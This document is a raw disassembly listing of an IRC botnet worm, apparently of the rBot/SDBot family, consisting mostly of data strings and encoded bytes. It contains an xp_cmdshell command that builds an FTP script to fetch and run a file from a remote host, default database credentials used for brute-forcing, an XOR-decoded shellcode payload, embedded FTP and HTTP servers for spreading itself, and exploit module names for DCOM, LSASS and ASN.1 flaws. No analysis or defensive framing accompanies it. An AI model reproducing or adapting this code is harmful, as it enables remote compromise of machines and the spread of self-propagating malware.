aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_404F08+178o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_404F08+E4o
		align 10h
aVb_0		db 'vb',0               ; DATA XREF: sub_404F08+47o
		align 4
aSql		db 'sql',0              ; DATA XREF: sub_404F08+40o
aMysql		db 'mysql',0            ; DATA XREF: sub_404F08+39o
		align 10h
aAdministrator	db 'administrator',0    ; DATA XREF: sub_404F08+32o
					; seg002:0042C2F8o ...
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: sub_404F08+2Bo
					; seg002:0042C30Co
		align 4
aRoot		db 'root',0             ; DATA XREF: sub_404F08+24o
					; seg002:0042C314o ...
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_404F08+19o
		align 4
dword_4265A4	dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
					; DATA XREF: seg000:00405393o
		db 1Ah
; ---------------------------------------------------------------------------


loc_4265B5:				; CODE XREF: seg002:004265BCj
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_4265B5
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h
word_4266F8	dw 7A69h		; DATA XREF: sub_4051BC+30r
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405409+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_405409+5B9o
					; seg000:0040D389o
		align 10h
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_405409+5ACo
		align 4
dword_426744	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_405409+561o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405409+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_405409+516o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_405409+4FEo
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405409+4E9o
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_405409+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_405409+4A5o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405409+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_405409+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405409+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_405409+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_405409+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_405409+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405409+38Co
aI:					; DATA XREF: sub_405409+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405409+351o
aA:					; DATA XREF: sub_405409+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_405409+326o
					; sub_405409+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405409+316o
		align 10h
off_426900	dd offset dword_445750	; DATA XREF: sub_405409+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405409+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_405409+2DEo
		align 10h
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405409+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_405409+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405409+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_405409+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_405409+286o
		align 10h
aUser_0		db 'USER',0             ; DATA XREF: sub_405409+271o
					; seg002:0042C344o ...
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_405409+260o
		align 10h
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405409+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A89+24o
					; seg000:00406D6Co ...
		align 4
unk_42699C	db    2			; DATA XREF: sub_405B23+3F8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_4269E4	db 0Dh,0Ah,0		; DATA XREF: sub_405B23+2CFo
		align 4
asc_4269E8:				; DATA XREF: sub_405B23+293o
					; seg000:0040CEFDo ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405B23+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F7E+97o
					; sub_40AAD1+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F7E+83o
		align 10h
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F7E:loc_405FE3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F7E+5Eo
		align 4
unk_426C08	db    2			; DATA XREF: sub_406100+28Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_426C54	db    2			; DATA XREF: sub_406100+20Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_426C98:				; DATA XREF: sub_406100+157o
					; seg002:0042DFDCo
		unicode	0, <*>,0
asc_426C9C:				; DATA XREF: sub_406100+FBo
					; seg000:004063D9o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_406100+EAo
					; seg000:0040687Ao
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_406100+3Ao
					; seg000:0040A66Do ...
		align 4
aS_2		db '\%s',0              ; DATA XREF: sub_406100+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: seg000:004069FEo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004069E3o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: seg000:004069C8o
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: seg000:00406939o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: seg000:00406911o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: seg000:loc_4068C8o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: seg000:004068C1o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: seg000:00406821o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: seg000:004067E4o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: seg000:004067B1o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: seg000:loc_406772o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: seg000:0040676Bo
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: seg000:00406724o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004066E0o
					; seg000:00406836o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: seg000:004066BEo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: seg000:00406694o
					; seg000:004067C3o
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: seg000:0040666Ao
aAm		db 'AM',0               ; DATA XREF: seg000:00406640o
		align 4
aPm		db 'PM',0               ; DATA XREF: seg000:00406635o
		align 4
a__0:					; DATA XREF: seg000:004065FDo
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: seg000:004065E2o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00406570o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:004064F7o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004064DBo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004064A7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: seg000:0040645Do
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: seg000:00406428o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:004063FBo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B1D+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_427154	dd 4000500h, 7868746Bh,	0dword_427160	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:004070BDo
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 10h
unk_4271B0	db    2			; DATA XREF: seg000:00406FF4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
dword_4271EC	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: seg000:00406FD7o
unk_427200	db    2			; DATA XREF: seg000:00406F7Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 4
unk_427254	db    2			; DATA XREF: seg000:00406D98o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 4
unk_4272A4	db    2			; DATA XREF: seg000:00406CA8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: seg000:00406C4Do
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_40778B+164o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: seg000:00404ACFo
		align 4
		dd 5 dup(0)
dword_427320	dd 87h							; seg000:0040FDDAr ...
off_427324	dd offset sub_4033CB	; DATA XREF: sub_40778B+1E6r
dword_427328	dd 0							; sub_402DDD+199r ...
dword_42732C	dd 1		dword_427330	dd 0		aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 4033CBh, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 4033CBh, 0
		dd 1, 0
aDcass		db 'dcass',0
		align 4
		dd 63640000h, 737361h, 6 dup(0)
		dd 1BDh, 402F84h, 0
		dd 2 dup(1), 7361736Ch,	35343473h, 736C0000h, 34737361h
		dd 3534h, 5 dup(0)
		dd 1BDh, 403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	35333173h, 736C0000h, 31737361h
		dd 3533h, 5 dup(0)
		dd 87h,	403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	39333173h, 736C0000h, 31737361h
		dd 3933h, 5 dup(0)
		dd 8Bh,	403C8Bh, 0
		dd 2 dup(1), 61736C63h,	7373h, 6C630000h, 73736173h, 6 dup(0)
		dd 1BDh, 402DDDh, 0
		dd 2 dup(1), 6C31736Ch,	73h, 736C0000h,	736C31h, 6 dup(0)
		dd 1BDh, 403E3Ch, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 404F08h, 0
		dd 2 dup(1), 7361736Dh,	73h, 736D0000h,	737361h, 6 dup(0)
		dd 599h, 405168h, 0
		dd 2 dup(1), 6C616572h,	74736163h, 65520000h, 61636C61h
		dd 7473h, 5 dup(0)
		dd 22Ah, 4052FCh, 0
		dd 1, 0
aAsn1http	db 'asn1http',0
		align 2
aAsn1http_0	db 'asn1http',0
		align 4
		dd 5 dup(0)
		dd 50h,	404907h, 0
		dd 2 dup(1), 316E7361h,	626D73h, 73610000h, 6D73316Eh
		dd 62h,	5 dup(0)
		dd 1BDh, 404907h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 73610074h, 6D73316Eh
		dd 746E62h, 5 dup(0)
		dd 8Bh,	404907h, 0
		dd 2 dup(1), 0
aAsn1smbnt	db 'asn1smbnt',0
byte_42768A	db 1			; DATA XREF: seg000:loc_411956r
					; seg000:00411960o
aMsass		db 'msass',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407135+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407135+42o
		align 4
unk_4276C4	db    2			; DATA XREF: sub_407135+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_4276FC	db    2			; DATA XREF: sub_4071FF+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_427730	db    2			; DATA XREF: sub_4071FF+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_427764	db    2			; DATA XREF: seg000:004075E5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4277AC	db    2			; DATA XREF: seg000:0040757Do
					; seg000:00411E90o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_4277FC	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:004074DDo
		dd 2029206Ch, 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 10h
dword_427840	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:00407470o
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_427894	db    2			; DATA XREF: seg000:004073BFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4278DC	db    2			; DATA XREF: seg000:00407351o
					; seg000:00411D1Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_407652+38o
					; sub_40A171+46o
unk_42793C	db    2			; DATA XREF: sub_40778B+EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_427978	db    2			; DATA XREF: sub_40778B+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_4279C8	db    2			; DATA XREF: sub_40778B+3E2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 10h
unk_427A20	db    2			; DATA XREF: sub_40778B+387o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 10h
unk_427A70	db    2			; DATA XREF: sub_40778B+317o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_427ABC	db    2			; DATA XREF: sub_40778B+29Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_427B08	db    2			; DATA XREF: sub_407BFE+156o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 4
unk_427B58	db    2			; DATA XREF: sub_407BFE+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_427BB0	db    2			; DATA XREF: seg000:00407F30o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_427C04	db    2			; DATA XREF: seg000:00407E67o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
